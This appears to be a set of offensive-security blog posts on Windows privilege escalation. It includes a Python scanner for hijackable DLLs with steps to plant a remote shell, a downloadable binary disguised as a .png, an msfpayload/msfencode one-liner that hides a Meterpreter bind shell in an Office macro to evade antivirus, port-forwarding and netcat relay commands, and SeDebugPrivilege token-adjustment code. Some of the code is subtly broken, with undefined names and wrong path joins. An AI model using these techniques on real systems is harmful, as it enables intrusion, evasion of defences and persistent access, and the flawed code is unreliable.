DLL Alghoritm Hijack Privilage Escalation

So lately I’ve heard a lot about how you can use the DLL search algorithm to hijack the library during the loading time (KB2269637) and execute your own code. I found this to be rather curious way to exploit the system as in simple terms we can just replace one of the libraries listed by this script to execute our own code. Simple yet very effective ;D

Here is how the exploitation can happen:
1) Login onto the box
2) Find the DLL’s outside of the MS protection zone (check this for some details)
3) Replace the DLL with your version with i.e. remote connection shell stored in the same folder as the executable we want to attack
4) Wait for the execution via user interaction or execute the program yourself if you got sufficient rights
5) Enjoy the shell

Here is the binary distribution (of course remove .png from file name ending and do wget on the following link) :
https://waitfordebug.wordpress.com/wp-content/uploads/2012/12/windows-dll-search-privesc-zip.png

Here is the sourcecode:

print "[+] DLL Search Algorithm Privesc Check by Y"
print "[+] contact : If you know me then give me a shout"
print "\n"

### Imports
import win32com.client
import sys
from ctypes import *
from ctypes.wintypes import *
import sys
import os
from optparse import OptionParser

### Define System DLL's
kernel32 = windll.kernel32
advapi32 = windll.advapi32


class TOKEN_PRIVS(Structure):
    _fields_ = (
        ("PrivilegeCount",    ULONG),
        ("Privileges",        ULONG * 3)
    )
    
    
def getDrives():
    print "[+] Enumerating current partitions"
    drivebits=k.GetLogicalDrives()
    partition_list = list_unsafecalls()
    for drives in range(1,26):
        mask=1 << drives
        if drivebits & mask:
                drive_letter='%c:\\' % chr(ord('A')+drives)
                partition_list.append(drive_letter)
                print "\t[+]Found drive: %s" % drive_letter
    return partition_list

def get_debug_privs():
        try:
            print "[+] Danger Will Robinson, We are elevating ourself to god level!"
            token = HANDLE()
            advapi32.OpenProcessToken(kernel32.GetCurrentProcess(), 0x00000020, byref(token))
            privs = TOKEN_PRIVS()
            privs.PrivilegeCount = 1
            privs.Privileges = (0x14, 0, 2) 
            advapi32.AdjustTokenPrivileges(token, 0, byref(privs), 0, 0, 0)
            print "\t [+] Privilege Adjusted Successfully"
            kernel32.CloseHandle(token)   
        except:
            print "\t [-]Unable to elevate. Exiting ..."  
            sys.exit()


def get_win32_product():
    try:
        objWMIService = win32com.client.Dispatch("WbemScripting.SWbemLocator")
        objSWbemServices = objWMIService.ConnectServer(".","root\cimv2")
        colItems = objSWbemServices.ExecQuery("Select * from Win32_Product")
        installed_soft = {}
        for objItem in colItems:
            installed_soft[objItem.Caption] = {'InstallLocation':objItem.InstallLocation,
                                           'InstallName':objItem.InstallSource,
                                           'InstallState':objItem.InstallState,
                                           'InstallSoftware':objItem.Caption,
                                           'InstallID':objItem.IdentifyingNumber,
                                           'InstallDate':objItem.InstallDate,
                                           'InstallLocalPackage':objItem.LocalPackage
                                           }

        print "\t[+] We Have The 'List'!"
        return installed_soft
    except:
        print "\t[-] Could not acquire software list"
        return None

def find_dlls_in_folder(location):
    list_dlls = []
    for folder in location:
        
        for dirname, dirnames, filenames in os.walk(folder):
            for dirfolder in dirnames:
                # we need to be able to write to the folder (inherited permissions)
                if os.access(os.path.join(dirname,folder),os.W_OK):
                    for nm in filenames:
                        if str(nm).lower().endswith(".dll"):
                            list_dlls.append(os.path.join(dirname, nm))
                else:
                    # Can't write to the folder = can't do anything
                    pass

    return list_dlls
              

def get_partitions():
    print "[+] The following partitions exists:"
    drivebits=kernel32.GetLogicalDrives()
    partition_list = list()
    for drives in range(1,26):
        mask=1 << drives
        if drivebits & mask:
                drive_letter='%c:\\' % chr(ord('A')+drives)
                # need only network and fixed drives
                if kernel32.GetDriveTypeA(drive_letter) == 3 or kernel32.GetDriveTypeA(drive_letter) == 4:
                    partition_list.append(drive_letter)
                    print "\t[+]Found static, readable drive: %s" % drive_letter
                else:
                    pass
    return partition_list

def find_all_dll():
    list_dlls = []
    partitions = get_partitions()
    print "[+] Searching for elevation points"
    for drive in partitions:
         for dirname, dirnames, filenames in os.walk(drive):
             for dirfolder in dirnames:
                 # we need to be able to write to the folder (inherited permissions)
                 if os.access(os.path.join(dirname,dirfolder),os.W_OK):
                     for nm in filenames:
                         if str(nm).lower().endswith(".dll"):
                              list_dlls.append(os.path.join(dirname, nm))
    return list_dlls
        
def find_vulnerable_in_system(system_dll):
    loc = []
    for location in system_dll:
         # The original author 'forgot' to mention that you can't write to program files or windows
         # because its protected resource so only admin can append resources in there! DLL's outside of the 'protection' zone are free to be played with.
         # Go and play with http://msdn.microsoft.com/en-us/library/bb762204%28VS.85%29.aspx and http://msdn.microsoft.com/en-us/library/bb762494%28v=vs.85%29.aspx
        if not location.startswith(os.environ['ProgramFiles']):
            if not location.startswith(os.environ['windir']):
                loc.append(location)  
    return loc


def find_vulnerable(prod_list):
    loc = []
    for elems in prod_list.keys():
        location =  prod_list[elems].get('InstallLocation')
        if location != None:
            # The original author 'forgot' to mention that you can't write to program files or windows
            # because its protected resource so only admin can append resources in there! DLL's outside of the 'protection' zone are free to be played with.
            # Go and play with http://msdn.microsoft.com/en-us/library/bb762204%28VS.85%29.aspx and http://msdn.microsoft.com/en-us/library/bb762494%28v=vs.85%29.aspx
            if not location.startswith(os.environ['ProgramFiles']):
                if not location.startswith(os.environ['windir']):
                    loc.append(location)
                    
        else:
            # This will have to be checked, not all installs give you the list of locations
            pass
    return find_dlls_in_folder(loc)
    

  
  
def main():
    usage = """
    This script will find all of the DLL libraries which can be exploited to 
    perform DLL code injection. 

    Reference: KB2269637
    """
    
    parser = OptionParser(usage)
     
    parser.add_option("-s","--scan",action="store_true", dest="scann_flag",default=False,
                      help="Scan the file system for DLL's instead of querying WMI")
    (options, args) = parser.parse_args()
    
    if options.scann_flag == True:
        
        print "[+] Elevating first"
        # This is probably not necessary
        get_debug_privs()
        print "[+] Finding details"
        dll_list = find_all_dll()
        print "[+] Finding Vulnerable DLL Load Software"
        dll_list = find_vulnerable_in_system(dll_list)
        if dll_list != None:
            print "[+] List of vulnerable DLL's"
            for dlls in dll_list:
                if os.access(dlls,os.W_OK):
                    print "\t[+] " , dlls
    else:
        print "[+] Elevating first"
        # This is probably not necessary
        get_debug_privs()
        print "[+] Getting Software List"
        prod_list = get_win32_product() # Will have to rewrite this to be API-only based
        print "[+] Finding Vulnerable DLL Load Software"
        dll_list = find_vulnerable(prod_list)
        if dll_list != None:
            print "[+] List of vulnerable DLL's"
            for dlls in dll_list:
                if os.access(dlls,os.W_OK):
                    print "\t[+] " , dlls
        else:
            print "[+] No Vulnerable DDL's could be identified"
    
    print "[+] Done"
            
if __name__ == '__main__':
    main()
            

Avoiding Anti-Virus with msfencode and Office

Quite simple actually, provided that we know how to use msfencode templates (-x option) to work with the payload. This can be done in few simple steps:

1) Generate payload
2) Pipe it to msfencode with -x option ( use i.e. psexec.exe as template )
3) Use to create vbs script with binary representation of the code
4) Paste the output to the macro in Word, Excel or anything else from Office suite
5) Run “ShellcodeExecute” macro from inside of Office

So in command prompt it looks like:

./msfpayload windows/meterpreter/bind_tcp LPORT=4999 R | msfencode -e x86/shikata_ga_nai -c 8 -x /pentest/windows-binaries/pstools/psexec.exe -t raw > BIND_4999.R && python /pentest/tools/custom/shellcode2vbs.py BIND_4999.R BIND_4999.vbs 

And finally copy & paste ‘BIND_4999.vbs’ content into MSWord document as macro. Now upload it to crate a listener shell on the system you got access to.
This can be nicely combined with port forwarding if access to the system is restricted by i.e. firewall or its a DMZ.

Port forwarding on Windows

Sometimes almost a magical task but turns out that there is a way to easily forward the ports on windows by executing this command:

> netsh 
> interface portproxy add v4tov4 listenport=445 listenaddress=192.168.0.1 connectport=445 connectaddress=192.168.0.2

This will forward port 445 from 192.168.0.1 to 192.168.0.2 on windows.

As per Linux:

> iptables -A PREROUTING -t nat -i eth1 -p tcp --source 192.168.0.5 --dport 8080 -j DNAT --to 192.168.0.2:8080

If neither is accessible, then netcat can be used to send content of the stream to specific port:

nc -L -p 6555 | nc 192.168.0.2:8080  

Universal Process Privilage Escalation

By adjusting process token its possible to elevate your current process privileges to enable certain functionality not available otherwise.

Basically steps we follow are :
1) Get current process handle
2) Get current process token
3) Resolve SeDebugPrivilege value
4) Created new Token with the resolved value from step 3
5) Adjust the token of the current process with new privilege
6) Close process handle

Following code demonstrates the principle.

print "[+] Universal Process Escalation by Y"
print "[+] contact : If you know me then give me a shout"

from ctypes import windll
import ctypes
from ctypes import *

class TOKEN_PRIVS(ctypes.Structure):
    _fields_ = (
        ("PrivilegeCount",    ULONG),
        ("Privileges",        ULONG * 3 )
    )

def get_debug_privs():
    # Adjust Current TOKEN
    token = HANDLE()
    print "\t[+] Getting Current Token"
    flags =  40 #  TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY
    windll.advapi32.OpenProcessToken(windll.kernel32.GetCurrentProcess(), 0x00000020, ctypes.byref(token))
    print "\t[+] Calculating Local SeDebugPrivilege"
    admin_priv_name = "SeDebugPrivilege" # we want this priv on the process
    pBytesReturned = ctypes.c_ulong() 
    windll.advapi32.LookupPrivilegeValueA(None,admin_priv_name,ctypes.byref(pBytesReturned))
    print "\t[+] Resolved SeDebugPrivilege as %d" % pBytesReturned.value
    print "\t[+] Modifying TOKEN Structure to enable Debug"
    privs = TOKEN_PRIVS()
    privs.PrivilegeCount = 1
    privs.Privileges = (pBytesReturned.value,0, 2) 
    print "\t[+] Adjusting Privileges of the current process"
    windll.advapi32.AdjustTokenPrivileges(token, 0, ctypes.byref(privs),0,0,0)
    print "\t[+] Closing current handle, almost done"
    windll.kernel32.CloseHandle(token)
    print "[+] Done, your process " , windll.kernel32.GetCurrentProcessId(), "has now admin privileges"
    ############ CURRENT TOKEN ADJUSTED ##################
	
get_debug_privs()

Privilage Escalation check on Drivers in Python

This code will query the WMI service in order to retrieve information about current drivers, their status and access rights. As you might be aware if drivers are not locked down properly, it may be possible to create nice rootkit loaded by the kernel and execute any code you might find useful. Furthermore it can be possible to override driver with your custom made stuff to elevate privileges from there.

print "[+] List System driver and Check file access permissions "
print "[+]                        By Y                          " 
print "[+] If you know me then give me a shout                  "
 
class driver():
	def getSystemDrivers(self):
        print "[+] Dumping System Drivers And Their Location"
        # function reference : http://msdn.microsoft.com/en-us/library/windows/desktop/aa394472%28v=vs.85%29.aspx
        strComputer = "."
        WmiServiceConnector = win32com.client.Dispatch("WbemScripting.SWbemLocator")
        objSWbemServices = WmiServiceConnector.ConnectServer(strComputer,"root\CIMV2")
        listOfDrivers = objSWbemServices.ExecQuery("SELECT * FROM Win32_SystemDriver")
        for objItem1 in listOfDrivers:
            print "\t[+] Dumping info for driver : " , objItem1.PathName
            if objItem1.PathName is not None:
                print "\t\tDriver Path : " , objItem1.PathName
            if objItem1.Description is not None:
                print "\t\tDescription : " , objItem1.Description
            if objItem1.InstallDate is not None:
                print "\t\tInstallation Date : ", objItem1.InstallDate
            if objItem1.ServiceType is not None:
                print "\t\tService Type : ", objItem1.ServiceType
            if objItem1.StartMode is not None:
                print "\t\tStart Mode : ", objItem1.StartMode
            if objItem1.DesktopInteract is not None:
                print "\t\tDesktop Interaction : ", objItem1.DesktopInteract
            if objItem1.Name is not None:
                print "\t\tDriver Name : ", objItem1.Name
            if objItem1.Started is not None:
                print "\t\tDriver started :" , objItem1.Started
            if objItem1.State is not None:
                print "\t\tCurrent Driver State : ",  objItem1.State
            if objItem1.ErrorControl is not None:
                print "\t\tErrorControl : ", objItem1.ErrorControl
            
            fileChecks().checkPermission(objItem1.PathName)
            fileChecks().getBasicInfo(objItem1.PathName)



class fileChecks():
    def checkPermission(self,filePath):
        # based on http://www.ibm.com/developerworks/aix/library/au-python/
        mode=stat.S_IMODE(os.lstat(filePath)[stat.ST_MODE])
        print "\t\t\t[+] Permissions for file ", filePath
        for level in "USR", "GRP", "OTH":
            for perm in "R", "W", "X":
                if mode & getattr(stat,"S_I"+perm+level):
                    print "\t\t\t\t",level, " has ", perm, " permission"
                else:
                    print "\t\t\t\t",level, " does NOT have ", perm, " permission"
    
    def getBasicInfo(self,file_name):
        time_format = "%m/%d/%Y %I:%M:%S %p"
        file_stats = os.stat(file_name)
        modification_time = time.strftime(time_format,time.localtime(file_stats[stat.ST_MTIME]))
        access_time = time.strftime(time_format,time.localtime(file_stats[stat.ST_ATIME]))
        creation_time = time.strftime(time_format,time.localtime(file_stats[stat.ST_CTIME]))
        print "\t\t\t[+] Basic File Information "
        print "\t\t\t\t Modification time: " , modification_time
        print "\t\t\t\t Access time: " , access_time
        print "\t\t\t\t Creation time: " , creation_time
        print "\t\t\t\t Owner UID : ", file_stats[stat.ST_UID]
        print "\t\t\t\t Owner GID : ",  file_stats[stat.ST_GID]   

drivers = driver()
drivers.getSystemDrivers()